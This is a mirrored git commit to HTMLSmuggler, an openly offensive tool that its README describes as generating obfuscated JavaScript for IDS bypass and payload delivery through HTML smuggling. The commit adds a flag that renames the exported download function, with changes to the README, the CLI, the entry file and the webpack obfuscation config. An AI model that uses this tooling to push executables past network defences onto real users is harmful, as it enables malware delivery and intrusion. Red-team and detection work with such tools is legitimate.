mirror of
https://github.com/D00Movenok/HTMLSmuggler
synced 2026-06-08 10:49:16 +00:00
add: exported function name customization
This commit is contained in:
@@ -1,5 +1,7 @@
|
||||
# HTMLSmuggler ✉️
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
|
||||
HTMLSmuggler - JS payload generator for IDS bypass and payload delivery via HTML smuggling.
|
||||
|
||||
## Description
|
||||
@@ -33,11 +35,12 @@ The main goal of HTMLSmuggler tool is creating an independent javascript library
|
||||
|
||||
```text
|
||||
Options:
|
||||
-p, --payload <string> Path to payload file you want to smuggle
|
||||
-n, --name <string> Name of file, that would be downloaded
|
||||
-c, --compress Enable payload compression (gzip)
|
||||
-t, --type <string> Contet-Type of downlonaded file (default: "application/octet-stream")
|
||||
-h, --help Display help for command
|
||||
-p, --payload <string> Path to payload file you want to smuggle
|
||||
-n, --name <string> Name of file, that would be downloaded
|
||||
-t, --type <string> Contet-Type of downlonaded file (default: "application/octet-stream")
|
||||
-f, --function <string> Name of exported function (default: "download")
|
||||
-c, --compress Enable payload compression (gzip)
|
||||
-h, --help display help for command
|
||||
```
|
||||
|
||||
## Usage
|
||||
@@ -51,7 +54,7 @@ The main goal of HTMLSmuggler tool is creating an independent javascript library
|
||||
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c
|
||||
```
|
||||
|
||||
3. Get your payload from `dist/payload.esm.js` or `dist/payload.umd.js`. After that, it may be inserted into your page and called with `download()` function.
|
||||
3. Get your payload from `dist/payload.esm.js` or `dist/payload.umd.js`. After that, it may be inserted into your page and called with `download()` (or custom specified with `-f` flag) function.
|
||||
|
||||
> `payload.esm.js` is used in `import { download } from 'payload.esm';` imports (ECMAScript standart).
|
||||
>
|
||||
|
||||
+4
-2
@@ -20,6 +20,7 @@ program
|
||||
"Contet-Type of downlonaded file",
|
||||
"application/octet-stream"
|
||||
)
|
||||
.option("-f, --function <string>", "Name of exported function", "download")
|
||||
.option("-c, --compress", "Enable payload compression (gzip)");
|
||||
|
||||
program.parse();
|
||||
@@ -42,8 +43,9 @@ fs.readFile(program.opts().payload, { encoding: "utf8" }, (err, data) => {
|
||||
|
||||
const compiler = webpack(
|
||||
webpackConfig({
|
||||
type: program.opts().type,
|
||||
name: program.opts().name,
|
||||
filetype: program.opts().type,
|
||||
filename: program.opts().name,
|
||||
funcname: program.opts().function,
|
||||
compress: program.opts().compress,
|
||||
})
|
||||
);
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ import { decompressSync, strToU8 } from "fflate";
|
||||
import payload from "./assets/payload.bin";
|
||||
import { download as down } from "./utils";
|
||||
|
||||
export function download() {
|
||||
export function dontRemoveFunctionName() {
|
||||
let data = strToU8(payload, true);
|
||||
data = COMPRESS ? decompressSync(data) : data;
|
||||
down(data, "dont_remove_filename_var", "dont_remove_content_type_var");
|
||||
|
||||
+4
-3
@@ -3,7 +3,7 @@ const webpack = require("webpack");
|
||||
const WebpackObfuscator = require("webpack-obfuscator");
|
||||
const obfuscatorOptions = require("./obfuscator");
|
||||
|
||||
module.exports = ({ name, type, compress }) => {
|
||||
module.exports = ({ filename, filetype, funcname, compress }) => {
|
||||
const commonConfig = {
|
||||
mode: "production",
|
||||
performance: {
|
||||
@@ -20,8 +20,9 @@ module.exports = ({ name, type, compress }) => {
|
||||
loader: "string-replace-loader",
|
||||
options: {
|
||||
multiple: [
|
||||
{ search: "dont_remove_filename_var", replace: name },
|
||||
{ search: "dont_remove_content_type_var", replace: type },
|
||||
{ search: "dont_remove_filename_var", replace: filename },
|
||||
{ search: "dont_remove_content_type_var", replace: filetype },
|
||||
{ search: "dontRemoveFunctionName", replace: funcname },
|
||||
],
|
||||
},
|
||||
},
|
||||
|
||||
Reference in New Issue
Block a user